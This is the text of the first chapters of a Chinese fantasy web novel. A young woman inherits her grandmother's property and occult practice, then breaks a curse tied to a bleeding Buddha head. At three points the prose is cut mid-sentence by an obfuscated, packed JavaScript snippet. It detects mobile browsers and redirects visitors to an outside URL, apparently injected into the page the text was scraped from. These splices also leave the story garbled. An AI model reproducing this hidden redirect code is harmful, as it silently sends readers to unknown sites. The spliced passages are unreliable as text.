《靠装逼成为万界救世主》 1. 第一章 天际泛白，列车飞驰过北方的原野。 宁三箴刚熬完一个大夜，把方案交掉，觉都没来得及睡就直接踏上了回乡的列车，这会儿头正晃得和大摆锤似的，一副要将前后左右的空间都扫荡一遍的架势。 让她这么火急火燎地往回赶的，却是一个令人感到匪夷所思的原因—— 她姥姥的骨灰盒被人偷了。 请注意，“她姥姥的”不是一个不文明用语。 “小箴，陆姨在火车站北出口等你。” 和到站播报一起响起的是姥姥家邻居陆姨的电话，她和姥姥是忘年交，几十年的邻居生涯让她们真正做到了远亲不如近邻。 “又不好好吃饭。”陆姨接过她的行李箱，就像小时候接宁三箴放学那样捏了捏她的脸蛋，“瘦了好多，等下晚饭来陆姨家吃。” “没办法。”宁三箴耸了耸肩，“背着六十多万贷款呢。” 说到这六十多万贷款，陆正英可又有话说了。 “你还敢提那个贷款！我不是说过宁老太年纪大了，老年痴呆了，走之前说的话不能当真。你倒好，从小叛逆到大，在这种事情上倒是和她一起发起了神经病！” “那她老人家辛苦了一辈子，临了了想享受一下皇亲贵戚的待遇有什么问题？就这点小小愿望，我当然要满足她了。”宁三箴捂着被陆姨疯狂拍打的肩膀死犟嘴。 “黄金骨灰盒？你们祖孙俩怎么不上天呢！”陆姨转着方向盘一路狂飙，一边还在数落宁三箴。 “也不全是纯金的嘛，我又买不起，后面还掺了点银啊铜啊什么的。”宁三箴摸摸头，“我还是很勤俭持家的。” “要不是你这‘勤俭持家’，今天还没这出呢。”陆姨在挡风玻璃前摸索了一阵，往宁三箴大腿上拍了一张报警回执。 “警察怎么说？” “说巧不巧，咱们几家附近那片的摄像头最近正好在翻修，陆陆续续都停了电，查不出什么来。” 宁三箴心里暗骂一声，接着问道：“那目击者呢？凶手就这么背着这么重一个大盒子，如入无人之地一般大摇大摆地离开了我家？咱村里那群广场舞大妈呢？打太极的老大爷呢？抢鸡蛋的老头老太呢？” “人家五六点才起床。”陆姨握着方向盘，眼神有些躲闪，“我五点半起来喂鸡的时候，才看见你家门锁被人翘了。” “说来也怪，”陆姨还是盯着前方正在跳动的红绿灯，不看宁三箴一眼，“我昨天晚上睡得死沉，什么动静都没听到。” 可能那小偷确实技术高超吧，动静压得很小。宁三箴心想。 但当她推开家里大门的时候，就立马推翻了这个想法。 原本桌上的贡品全部翻倒在地上，整个客厅所见之处无不桌仰椅翻，之前姥姥葬礼时被她收起来的东西几乎又都全部被翻了出来，乱七八糟地堆在地上，甚至还有一堆鸡零狗碎她根本没印象的东西——仓库里的墨斗、陈年的糯米、发黄的萱草纸、散落一地的塔罗牌、还有黑驴蹄子…… “哇塞。”宁三箴面无表情地感叹，“简直龙卷风摧毁停车场。” “哈哈。是吧？”陆姨把行李箱往宁家门口一推就跑，“收拾完记得来我家吃饭啊！” 警察已经来看过，保留现场没有意义。 宁三箴打算自己上手看看，说不定根据自己看侦探小说的经验能看出点什么来呢？ 通常来说，侦探小说里的凶手作案总得有个动机，有人是因为有仇，有人是因为贪财，有人纯粹是激情作案。 根据现场凌乱的情况来看，激情作案的可能性很大，但如果不是认识的人，谁会知道表面上看上去不过是个平平无奇的农户宁家有个值钱的骨灰盒呢？ 根据姥姥平时与人为善，在村里颇受欢迎的性格，有仇就更不可能了。再说了，什么仇人会专门来偷骨灰盒？ 姥姥的遗像也翻倒在供桌上，宁三箴上前将其摆正，却发现像框内的黑白遗像不翼而飞。 缺角香炉中的香灰却被均匀地平铺在梨花木供桌上，期间有一种类似于红墨水的药水勾画着两个鲜红的阿拉伯数字——87。 什么意思？我只有87天可活了？ 这是看多了侦探小说的宁三箴脑海里浮现出来的第一个念头。 这恍若催命符一般的数字让她心中一颤，手一抖，相框“哐”地一声掉进了香灰里。香灰散落一地，可那个“87”依旧牢固地呆在它的位置上，像一道鲜红的烙印。 嘿呦，宁三箴想，这香灰还挺有个性的，居然还能给她组个数字出来，有点意思。 不过子不语怪力乱神，她只将这当成是一次普通的巧合，直接打扫掉算了。 可是当她将房间收拾停当，又回过来打扫香灰时，她发现，香灰能够扫除，但是那鲜红的字迹却怎么也擦不掉。 完了，宁三箴想，摊上事了，得上点手段。 于是她面色凝重地拿出了一把看上去有些年份，甚至带着些许锈迹的黄铜钥匙，打算去老仓库寻找被她和姥姥遗忘已久的洁厕灵。 老仓库离她家很近，从前是村集体合建的厂房，由于某些宁三箴不得而知的历史原因建在了她家的承包地上，后来又因为时代的发展而废弃，被姥姥和村集体商量盘了下来，作为私人仓库。 虽然宁三箴也不知道姥姥一个农村老太，到底有多少东西需要盘一个废旧厂房才能放得下。 老仓库大门缓缓抬起，漫天的烟尘迎面而来，把宁三箴扑了个够呛。 厂房内的强力照明灯依次亮起，将整个仓库照得亮如白昼。厂房四面的玻璃窗都被黑布密密匝匝地覆盖住，不留一丝缝隙，这让高大宽阔足以让众多巨龙一般的管道从顶部穿过的老厂房也显出了一分视觉上的逼仄。空气中涌动着浓郁的铁锈与化工业品混合着尘埃的气息，即便这里已经停止运作了许多年。 这是一栋具有浓郁的老苏维埃风格的厂房，是宁三箴小时候最不愿意来的地方。小时候的她会觉得这里太大、太黑、太陈旧，现在的她只会觉得，这可是最近流行的重工业废土风！就适合拿来开个网红餐厅然后一杯咖啡卖它个百八十块的。 宁三箴怀抱着重工业废土风餐厅主理人的幻想，怀抱着一天收入十万秒速还完外债的幻想在老仓库转悠了一圈，却发现了一个自己之前从未注意到的角落。 这里的铁皮柜子她完全没有印象，更遑论里面那些杂七杂八堆积着的文件和空白的标贴。 要知道这在她们家是一件非常罕见的景象。 她的姥姥宁文昭女士是一个非常恐怖的重度强迫症患者，她们家的每一件杂物都有自己的标签和固定地盘。 君不见老厂房里那一个个被灰布覆盖的分区上都打着各不相同的标签？ 例如，厨房油烟机清洁杂物、厕所管道疏通杂物、W-Δι?νυσο?-010、E-有巢氏-001、E-?????-003…… 宁三箴来了兴致，拉开铁皮柜取出了里面早已泛黄发脆的纸张。 “光绪叁拾肆年拾贰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182860|196971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月吉日立杜卖房契” “立杜卖房契人陆正英，……，今因正用不敷，情愿将祖遗分授名下房产壹所，坐落本城云乐坊铜仁巷，坐北朝南，共计……” “凭中保说合，出卖与宁文昭名下永远为业。三面议定时值价纹银……” 这不是古代的地契吗！ 我家祖上难不成还是富过的？宁三箴心里这么想着，又摇了摇头否定了自己这个猜想。要真是按地契上写的，姥姥在清朝就能置办房子的话，那她今年都该一百四十多岁高寿了。 “等一下，陆正英……这名字怎么这么耳熟啊……” “陆姨的大名不就是陆正英吗？” “这老姐俩不会闲着无聊在村里演清宫戏吧！” 宁三箴越想越觉得离谱，手上翻阅文件的动作越发迅速。 “光绪三十四年，民国十六年，民国三十五年，1963年……” 越往后文件的形式她越熟悉，那是属于现代的房产证。 在过去这一百多年中，宁文昭和陆正英这两个名字每隔二十年就会就城东和城南两块的大量商铺和住宅的权属进行交换，截止到十年前，稳定在了陆正英拥有城南的大量商铺，而宁文昭拥有城东大片的住宅的状态。 “如果我没记错的话，城南现在被改造成了旅游景区，而城东现在属于最繁华的闹市区。”宁三箴看着手上这一沓房产证，越看越觉得不真实，“所以……市中心那片地从清朝开始就是我家的了？” 宁三箴激动的双手微微颤抖，她仰天长笑：“我终于！也能！过上！富二代的生活了！” 再见了贷款，再见了加班，再见了破工作，再见了傻逼同事！ 大概是她的心情太激动，一起身撞倒了身边的另一沓文件，一个晶莹剔透的水晶球滴溜溜地滚到了地上。 随之一起落下的，还有一张看起来年份与那些泛黄纸张截然不同的纸条。看上面的墨迹，或许是近两年写的。 彼时，姥姥尚未离世。 宁三箴心头一动，将这纸条捡起来，仔细阅读。 “箴箴，当你看到这张纸的时候，我应该已经驾鹤西去了。 不要为我哭泣。 因为当你哭泣的时候，我保存完好的房产证上将出现不和谐的污渍。 言归正传，我给你留了些东西，就放在最底下那本房产证代表的商铺里。 在接手这些东西前你要想好，你是否已经做好了准备。 因为你一旦推开那扇大门接手了那些东西，你从前平静祥和的生活将从此一去不复返。 你会遇见许多能够颠覆你世界观的事件，见证许多远超想象的故事，面对很多远超预期的困难，但与此同时，你也会收获一些志同道合的同伴。 可这条路终究是孤独的。 如果你对那种不确定的未来感到恐惧，就拨打纸条上的电话，向我的律师表达你的意思,我仍会为你保留两份房产确保你衣食无忧。 但你若决定继承这一切，那么自看到这条纸条之时起24小时内，你不能拒绝自身收到的任何请求，否则继承程序就会失败。切记切记。 遇到问题时不用害怕。 答案永远在你身边，我永远在你身后。 爱你的宁文昭" 几乎是在她读完纸条的那一瞬间，手中的房产地契顷刻间化为齑粉。 宁三箴握了握拳，未能抓住那些流失的古迹，就好像那天在列车上，她未能抓住姥姥流逝生命的最后余音。 2. 第二章 “我决定辞职。” 在陆家的晚饭桌上，宁三箴如是说。 “你疯啦？”陆雪莹一边和宁三箴抢夺碗里最后一根排骨，一边惊叹，“葛朗台化身大撒币，守财奴放弃金母鸡，更何况你还背着贷款，这可不是我认识的宁三箴。” “那你呢？怎么也突然回来了？”宁三箴成功抢到最后一根排骨，回呛自己的邻居兼发小，“总不能是回来陪我找小偷吧？” “箴宝。”陆雪莹夸张地捂着心脏，一副心脏受伤的模样，“不要低估我对你的心意呀。” “正常点。” “好吧。”陆雪莹放下双手，“我被优化了。” “再说直白点就是，失业了。”陆雪莹又去勾住了陆姨的脖子，“开心吗，妈妈？我回来啃老了！” 陆姨往她们碗里一人扔了块胡萝卜：“吃还不堵住你们的嘴吗？破产姐妹花。” “请不要再把破产这个词冠在我头上。”宁三箴摸出五大本房产证在饭桌上一字排开，“请叫我房二代。” 饭桌上另外二人看看深红色的房产证，又看了看宁三箴，再看看房产证，又看看宁三箴。 “原来宁奶奶没和你说过啊。”陆雪莹恍然大悟。 “天将降大任于斯人，必先苦其心志，劳其体肤……”陆姨一脸感叹，“文昭姐的育儿方法还真是……啧啧啧……” 敢情就我一个人不知道自己是富二代？宁三箴在心里怒吼，这也太离谱了吧！ “没事没事。”陆姨看出了宁三箴的不爽，抱着她的肩膀拍拍，“苦尽甘来了，好孩子。明天咱就去交辞职报告。” “明天我陪你一起去。”陆雪莹把饭碗一扔，“反正我也失业了，在家呆着也是呆着。” 宁三箴张了张口，还想问那一堆古董地契和水晶球的事，还有姥姥纸条上说的，所谓在商铺里给她留的东西。但想到纸条上那句“你从前平静祥和的生活将从此一去不复返。”，供桌上擦不掉的红色“87”，还有车上陆姨似乎有所隐瞒的神色…… 真的要把她们牵扯进来吗？或者说，我真的做好了接受一切的准备吗？ 疑问在宁三箴舌尖滚了滚，最终还是被默默咽了下去。 她不再言语，只是默默吃饭。 自从她在仓库看到那张纸条起，已经过去了8个小时。她相信，只要自己继续宅家苟到明天的下午两点，姥姥规定的那个莫名其妙的不能拒绝的“24小时”就能过完了。 晚饭后，宁三箴捧着刚捂热的房产证正打算美美入睡，手机里闪动着的好友申请却把她从睡梦中又拉了回来。 失算了！宁三箴想，忘了这是个信息时代，人不走出去，但是还能联网啊。 按照姥姥的要求，她也不能拒绝这个好友申请。 宁三箴捂着头查看手机，发来好友申请的，是一个陌生的纯黑头像，名字是“Paulownia”。 验证消息：“您好，我是宁文昭女士为您指定的遗产律师，请您通过一下。” 遗产律师？ 怪不得姥姥不让她拒绝呢，要是当做诈骗犯把这个好友申请给拒绝了，她岂不是要和姥姥留下的遗产失之交臂？ 不过话说房产证真的还需要律师吗？不是去做几个登记就行吗…… 她选择了通过。 “您好。我是提希丰律师事务所的陈雨桐，也是宁女士为您指定的代理律师。” “很抱歉，之前宁女士去世的时候我在其他国家处理官司，没能及时赶回来吊唁。不过您的继承程序我已经在处理了，您看您明天是否有空让我来为您讲解一些关于继承程序的相关细节？” 这当然不能拒绝了。 宁三箴非常快地给出了肯定的回答。 想到姥姥留下的那句警告，她认为应该是在面对律师所提出的问题时不能给出否定的答案。 反正也不能拒绝，她就干脆把短信的自动回复设定为了“是的。”，自己则跑去关尖叫着的烧水壶。 然而当她擦干手拿回手机时，却傻了眼。 “根据宁女士的要求，我还需要问您几个问题。” “是的。” “您是否愿意继承宁女士的财产？” “是的。” “即便那意味着您也必须继承她的事务所与事业？” “是的。” “这么说，您也继承了宁女士的神通吗？” “是的。” “那您是否也能帮我解决我身上遗留的诅咒？十二年前宁女士说过她暂时无法帮我解决。价钱什么的都能谈，我会支持您的事业的！” “是的。” “那太好了！我明天早上就来接您。” “是的。” “请您将地址发送给我。” “是的。” “请您将地址发送给我？还是说，山人自有妙计，缘分未到，您有办法指引我过去？” 要死。 宁三箴疯狂拍打着自己偷懒的手和手机，就懒这一下子，结果闯大祸了。 她哪会解除什么诅咒啊，她还以为小时候姥姥给人看发烧感冒的是因为她算半个赤脚医生，结果原来是神婆吗？ 可她要是拒绝，就得和自己新鲜热乎的遗产说再见了。 要她命可以，要她钱不行。 宁三箴抱着视死如归的心情向她发送了自家的位置。 “好的，明天我会准时去这个地点接您。” 她将手机一扔，倒在了床上捂着头滚来混去。 什么诅咒啊，看事啊，她是一点也不会。 不过这种封建迷信，应该都是心理因素影响的吧？ 她要是装个道骨仙风的神棍唬唬人，说不定人家心理舒畅了，一下子就好了。 宁三箴越想越觉得自己的想法有道理，又从床上爬起来，去仓库里捞了两本风水书、佛经、荣格心理学之类的来看。 老话说得好，临阵磨枪，不快也光。更何况小时候姥姥就让她背过佛经什么的，再捡起来应该很快…… 宁三箴睡着了。 新到手的财产连同水晶球和那些书一起掉在了她枕边，伴随她进入了甜蜜的黑沉梦乡。 皎皎月色下，水晶球光华流转，映在她脸上，如同老人温柔的抚慰，直至太阳升起，日照鸡鸣。 宁三箴抬手去摸书，却发现早已天光大亮。枕边的水晶球旁，放着一张纸条。 不再是昨晚笔走龙蛇的熟悉字迹，而是一行工整的打印字体。 “万界之门使用指南：< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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西装革履的车主从驾驶位走出，八厘米的高跟鞋在宁三箴家门口的青石板上掷地有声。她笑着搭了宁三箴的话，朝她伸出了手：“您好。我是提希丰律师事务所的陈雨桐，也是宁女士为您指定的遗产律师。” “你好你好。”宁三箴挠了挠头，她在仓库里准备的神棍三件套还没来得及装备，这会儿只能穿着睡衣和陈雨桐握手。 “关于我的事，大师您……” “好说好说。”宁三箴几乎是条件反射般地使用了礼貌用语，“哎呀，不要叫我大师，我可担当不起。” 说完宁三箴就想把自己的嘴缝起来。一生谦虚的种花家孩子啊，你的大师气度呢？你的神秘风范呢？搞得好像在和人家商业合作一样。 谁料见了宁三箴的反应，陈雨桐竟是喜出望外：“您真的有办法！宁奶奶说得没错啊，您果真是青出于蓝而胜于蓝的大师。” 她两眼放光地看着宁三箴，宁三箴甚至怀疑要是条件允许她说不定还会跪下来给她磕两个。 什么诅咒…… “有这么困难吗？”陈雨桐的热情吓得宁三箴有些吃不准了。 而在陈雨桐看来，这就是宁三箴在疑惑这么简单的诅咒她为什么还会怀疑自己解决不了。这是来自高手的蔑视。 陈雨桐喜极而泣，向宁三箴交了底：“您不知道，我的寿命只剩下一个月了。” 3. 第三章 “天哪，我现在有种在做梦的感觉。箴宝你掐我一下。” 直到坐在陈雨桐的迈巴赫上，陆雪莹都一直保持着震惊到魂游天外的状态。 陈雨桐要先带宁三箴去她姥姥的事务所看被封印在那里的、她身上诅咒的源头。陆雪莹闻言不知道哪里来的兴致，也非要和她们一起出去玩。 于是后排满满当当地坐着两个人，打打闹闹的声音构成了车内此起彼伏的交响曲。 宁三箴的装高冷计划彻底失败，陈雨桐却反而对她更有信心了。 在这种情况下还能插科打诨而不是严阵以待，可见宁三箴气定神闲，对于降妖除魔很有把握啊。 陆雪莹抓了抓宁三箴手心，“我没想到宁奶奶居然还是个隐藏富豪。给你办过户居然要动用提希丰？” “俺们农村人居然也能和王室坐一桌了。” “王室？”宁三箴有些不解。 “一看你就是瓜吃少了。”陆雪莹简直如数家珍，“阿美丽卡那个知名医疗保险集团的九子夺嫡案不就是请提希丰打的吗？还有啊，之前泰兰德王室财产纠纷、还有哪个岛国首富之女之前闹得沸沸扬扬的信托击穿案件，都是提希丰打的。她们律所几乎就是豪门纠纷的代言词。” 宁三箴在后排瑟瑟发抖：“我可是姥姥的独苗啊。亲手收养的，没爹没娘。总不至于在她老人家这个年纪还能搞出些什么私生子之类的吧？” 陈雨桐开车又快又稳，她转过一个路口，摇头：“宁奶奶的遗产继承案是我接过最轻松的一个，根本没有那种继承纷争。” “按理来说，提希丰也不会接这种没有任何挑战性的案子。”她垂眸，“接下宁奶奶的委托，是我的私心。” 恰巧车辆驶入一个无人的巷口，陈雨桐借机将车往路边一停，解开了衬衫的衣扣。 “啊啊啊我们这里不是男频文不需要你卖肉的快点速速将衣服穿上啊啊啊！”宁三箴捂着脸手足无措。 “你在说什么怪话啊，箴宝。”陆雪莹拍拍宁三箴的肩膀，“你看她胸口那朵黑色莲花。” “嗯？”宁三箴这才睁开眼，仔细观察，那黑色莲花并不是网上常见的非主流纹身，而是一种黑得如同浓墨一般的嵌入皮肤中的印记，周围翻出了粉色的皮肉，仿佛是在这个印记刚开始侵蚀皮肉时就被定格在了那一瞬间而呈现出的状态。 “倒像是被什么烈火烧出来的。”宁三箴莫名有这样的直觉。 这就是那个让陈雨桐命不久矣的那个“诅咒”？ 陈雨桐双眼亮了一下，仿佛溺水者看见救生员一样紧紧抓住了宁三箴的手：“你果然有办法。” “这就是我的私心。”陈雨桐又将扣子扣上，“宁奶奶说，以她的能力，最多只能做到封印我身上的诅咒，但是如果你接过她的衣钵，也许能做得比她更好。” 其实真不一定……但宁三箴没法说这话，根据姥姥留下的字条，她已经答应了陈雨桐，只能尽力去除她身上的诅咒。 她定了定神，她有万界之门，陈雨桐又很相信她这个“大师”。她总能找到解决办法的。更何况姥姥留言中还告诉她不要怕，答案就在身边。 说起来……失窃、遗产、水晶球、自动送上门来的求医者……宁三箴总感觉自己在被姥姥推着走。那么那个不翼而飞的骨灰盒，是否也另有隐情？ 陈雨桐在城南的商业街广场边停下，“这里就是我爸妈第一次带我来拜访宁奶奶时她工作的地方。这么多年过去了，这里还是没怎么变。” 姥姥工作的地方？宁三箴突然觉得有些奇妙。因为姥姥从未向她提起过自己的工作，只说会在每天接送她上学的期间给自己找点零工干干。宁三箴从小到大好像也从未好奇过姥姥打的零工是什么。 现在在她去世后回到她曾经工作过的地方，宁三箴有些感慨。 原来姥姥也曾是个Office Lady。 不过现在她的大办公室和大事务所，就要归宁三箴所有了。宁三箴短暂地幻想了一下自己坐在写字楼高层的真皮沙发中俯瞰整个城市的场景，渴望的泪水从嘴角流了出来。 “首先就是她事业的中心和起点——宁氏不可思议事务所。这间位于云乐路172号的小办公室承载了宁女士一生的心血，它的经营权会伴随着事务所商铺的所有权一同转让给您。” 宁三箴看着陈雨桐怀着圣地巡礼的虔诚表情，趟过污水横流的小巷，躲过黄狗的狂吠和沿街小吃店后厨泼出的废料，心中升起不详的预感。 “这个小办公室……得是多小啊？” 陈雨桐带着她们在小巷尽头的破旧铁门前站定。 “就在这里。” 上个世纪老旧的绿皮漆铁门被雨水锈蚀了大半，墙边贴着许多花花绿绿的宣传单和小广告，被带着油烟气息的风吹得摇摇欲坠。 巷口的通道很窄，标志着门户的门牌早已不翼而飞，地上烟头开会，墙边苍蝇聚餐，简直让人没处下脚。 宁三箴望着铁门周边成堆的垃圾，心里退堂鼓直打：“除了那些房产，这事务所不会是我姥姥仅剩的遗产了吧？”那她在这拼死拼活的好像也没什么意义。 “怎么可能？提希丰从不打低端局。”短暂的相处已经让陈雨桐摸清了宁三箴的脾性。 宁大师能力强，但是有点懒并且贪财。 “除了这处商铺，还有欧洲的城堡、澳洲的别墅、北美的核心商圈大平层等等。此外，这次您帮我去除诅咒的酬金还有三十万呢。请您务必再坚持一下。” 闻言，宁三箴又来了精神，立刻挣脱她们的束缚，昂首挺胸地往楼上走：“我已经准备好接受命运的考验了！来吧！疾风骤雨！” 楼道逼仄阴暗，落满尘埃的灰色铁皮窗框为本就阴沉的楼道更添一份昏暗。狭窄而陡峭的楼梯简直不符合任何人体工学的设计理念，爬完一层楼之后，宁三箴已然气喘吁吁。楼道内出奇的安静，只剩陈雨桐高跟鞋鞋跟踩在水泥地上敲出的当当脆响。 几人费劲爬到六楼，楼道拐角尽头的扶手处，一个苍老的女声悠悠传了出来：“终于……有人来了啊。” 宁三箴抬头，一棵挂满笑容的苍老头颅正倒悬在天花板上，晃晃悠悠地看着她们，身后是一道又细又长的阴影。 “鬼啊！”陆雪莹率先大叫起来。 宁三箴也想尖叫，但是作为一个“大师”，她只能强迫自己冷静观察。 那阴影又细又长，但似乎并不是倒挂头颅本身自带的。 少顷，她从楼道的阴影处搬了把梯子出来。 一个脸皮皱巴巴的老太太灵活地从梯子上爬了下来，身手之矫健，许多年轻人看了也要自愧不如。 “你们谁是宁三箴？” “谢谢你啊。”在准确识别出宁三箴之后，老太太叹气，“要不是隔壁这个晦气地方废弃了这么久，我也不至于退休了还要每个月都来疏通通风管道。” “你来了，我就解脱了。”老太太将一把黄铜钥匙塞到宁三箴手里，“以后你就自己通通风管道吧。记得一定要倒挂着进去。” “不然会看见不该看见的东西。” 陆雪莹搓了搓手臂上的鸡皮疙瘩，追问道：“什么不该看见的东西？” “一个头。” 陆雪莹咽了口口水：“是人类的还是动物的？新鲜的还是……” 老太太瞥了她一眼，似乎在惊讶于她的脑洞大开：“是个泥塑头。释家的。” “这些东西都邪门的很，我老人家不爱看。”老太太夹着梯子往楼下走，“奈何和这个宁老太做了对门，免不了遇上这些。” “你们对面的家政公司是我家开的。有问题可以来隔壁知会一声，但不许半夜敲门。” 说罢，老人家急匆匆地从楼梯下去了，仿佛背后有鬼在追。 就好像在响应老太太的举动一样，门内隐隐传来悉悉索索的声音，如同蛇群爬过。一股阴寒的气息从门内传来，空气中浮动着铁锈味。 真嗅到危险的时候，宁三箴反而能狠狠心让自己冷静下来，整个人散发着一种“都这样了，让我装一把大的怎么了。”“让我莽，让我莽，我偏要看看这里面是什么东西。”…… 这种破罐子破摔的气质。 她抛接了两下老太太给她的黄铜钥匙，插进了事务所有些生锈的锁眼中。 “等，等一下。”陈雨桐压住了宁三箴的手。 宁三箴挑眉看向她。 “我……当年我出事的缘由，就是一个佛头。” “所以，你觉得，那老太太看见的佛头就是姥姥当年替你封印的那个？” 宁三箴明白了她的意思，收了动作倚在门边把玩那把有些年份了的黄铜钥匙。 陈雨桐点点头：“而且这段时间，我身上这朵莲花的颜色越来越深了。宁奶奶说过，这是封印逐渐失效的象征。如果这朵莲花变得黑到发红，就说明……” “说明你伤口发炎了。”宁三箴转身将钥匙插进锁孔拧开大门，“要相信科学，朋友。” 宁三箴一边说着，一遍反手去摸墙边的开关，却摸到了一手湿漉漉的水。 “要死。谁家水管漏了？还渗到我们这门口了。”宁三箴抱怨着打开了手机的手电筒功能。 手电筒的白光照亮昏暗的事务所，宁三箴看向自己的右手，悚然一惊，那上面是醒目的红，正在顺着自己的手掌缓缓滴落。 “血！你留血了！”陈雨桐慌忙去找背包里的纱布和纸巾。 铺天盖地的血腥味刺激着感官，手上却没有一丝疼痛。 “不是我的血。”这种展开反而让宁三箴有一种果然如此的笃定感。她把这归结为恐怖片看的够多，已经产生了抗性。 她抬手用手机照亮事务所周围的白墙，那上面正汨汨涌出粘稠的鲜血。 鲜红与惨白，交织在这个老旧的房间内，令人反胃的铁锈味与阴寒的气息，在房间内静静蔓延。 “下一步该关门了。”宁三箴推测道。 陈雨桐闻言向门口望去。 不知何时，事务所的大门已经自动合上，陆雪莹用力踹门却无济于事，甚至门把手上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182862|196971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都开始逐渐有红色疑似鲜血的液体流出。 “好熟悉的感觉……”陈雨桐不自觉地颤抖起来，单手捂住胸口，“就好像那个时候……” “也对。”宁三箴一把托起颤抖着的陈雨桐，“是时候发作了。” “讲讲当时的情景吧。你发作时的具体情况是什么样子？” “是……”陈雨桐的手被宁三箴握在手里，冷得像块尸体，“火……” 说这话时，她的双手捂住胸口，脸色苍白，神情惊恐，仿佛忆起了什么不堪回首的噩梦。 “大火、红莲业火、地狱灵火？”宁三箴将自己看过的影视作品中的火一一列举出来，结合陈雨桐身上的印记做推测，“佛家手段……红莲业火烧心？” 她试着让已经开始冒冷汗的陈雨桐冷静下来：“深呼吸。什么都不要想，断念、断妄、断执，断除恐惧。” “不行。我做不到。”陈雨桐已经被恐惧支配，她已经听不见宁三箴对她的指示，只凭借本能行动。 她一边摇头一边向后退，“好大的火啊……我得逃、我得逃出去。” 她转身向后撞去，一个小型博古架被她撞倒在地上，架子上的东西叮铃咣啷地散落一地。 陈雨桐也像是丢了魂一样瘫坐在地上。 一个椭圆形的东西滴溜溜地滚到了她身边。 宁三箴直觉不对，伸腿将那东西拨开，它又转了两圈，完整的面目展露在手电筒光线下。 那是一个泥捏的佛头，其雕刻技法圆真质朴、大巧不工，色彩鲜艳大胆，栩栩如生，表情似嗔似笑似怒，看起来艺术价值极高。只是那半阖半闭的慈悲双目中，正有血泪缓缓流下。 “观自在菩萨，行深般若波罗蜜多时，照见五蕴皆空，度一切苦厄。”这声音如洪钟，从四面八方来，震得人心神晃动。 那佛头的眼睛缓缓睁开，脸有慈悲色：“是故空中，无色，无受想行识，无眼耳鼻舌身意，无色声香味触法……” “由是破眼障，由是心火焚。” 听到心火二字，宁三箴立刻朝陈雨桐看去，她的脸色正变得越来越苍白，胸口隐隐可见那朵黑色莲花正在缓缓渗出墨色。 随着佛头一句“心火焚”话音落下，她胸口腾的一下燃起一团火，火光烈烈，带来一束明光，也让众人看清室内沾满鲜血的墙上那些舞动着的诡异黑影，它们或站或坐，或狂欢或痛哭，如同一幅微型的地狱浮世绘。 黑影们层层叠叠，影影幢幢，搭眼望去数目当以万计。它们挣扎着，怒吼着，动作幅度越来越大，仿佛要破墙而出。 “我觉得，我的胸口好烫……” “那他爹的是着火了！” 陆雪莹用随身携带的矿泉水试图浇灭陈雨桐身上的烈火，可那火根本不怕水，甚至越烧越旺。 “好痛……比那时候……还要厉害……”陈雨桐几乎已经失去了说话的力气，整个人瘫坐在地上。 张牙舞爪的扭曲黑影也距离她们越来越近，它们的牙齿裸露在身体外，指甲更是尖利纤长，不断朝着瘫坐在地上的陈雨桐挥舞着、抓挠着。陆雪莹轻轻替她挡了一下，皮肤就已经被抓破，流下了苍白的血液，伤痕深可见骨。 它们都是冲着陈雨桐去的，那么解决问题的关键，也还是在她身上。 而对于她来说，心魔恐怕才是最难以战胜的。 想到这，宁三箴，握住了陈雨桐汗涔涔的双手，蹲下身和她说话，语气温和又坚定：“别害怕。我有办法解决你的诅咒。但你要保证，接下来的每一字每一句，你都必须一字不落地跟着我念，能做到吗？” 她的语气很温和，又亲切，在佛头那高高在上的威严宣告中，显得分外不同。 陈雨桐凭借本能在混沌中分辨出了这个对她更温柔的声音，她颤抖着抓住了宁三箴的手，像是抓住了救命稻草一般：“能！” “如是我闻……此人无我相、无人相、无众生相、无寿者相。所以者何？我相即是非相，人相、众生相、寿者相，即是非相。何以故？离一切诸相，则名诸佛……” 这是《金刚经》的内容，宁三箴小时候被姥姥压在书桌前背过，此时终于派上了用场。 宁三箴能感受到随着陈雨桐口中经文慢慢念出，她体内的万界之门闪烁了一下。 伴随着二人的诵经声，黑影的蠕动逐渐变得黏稠、滞缓，墙上的鲜血逐渐倒流，火光化为灰烬，皮肉迅速生长，佛头眼中的血泪化为清泪。 “一切诸相，即是非相。” 连《心经》都背不对。宁三箴轻轻敲了一下佛头：“真正着相的，是你啊。” 清澈的女声回荡在房间中，硕大的佛头因为这轻轻的触碰而从中间裂开，崩解为片片碎渣，伴随着碎渣一同落地的，还有一声清脆的金属碰撞声。 宁三箴上前查看。 那是一块古朴的铜牌，铜牌中央用孩童般粗糙的笔触刻画着一只狞笑着的小鬼。 铜牌反面一片光滑，除了用深红色墨水刻写着的两个阿拉伯数字。 “86”。 4. 第四章 宁三箴掌心一片冰凉，心口还带着肾上腺素飙升的余悸，她将铜牌悄悄收起，脑子里却还在不住地琢磨这事。 这见鬼的红色倒计时是怎么从她家香台跑到这里来的？这倒计时到底意味着什么？倒计时结束后她真的会像那些志怪小说里写的那样迎来她的死期吗？ 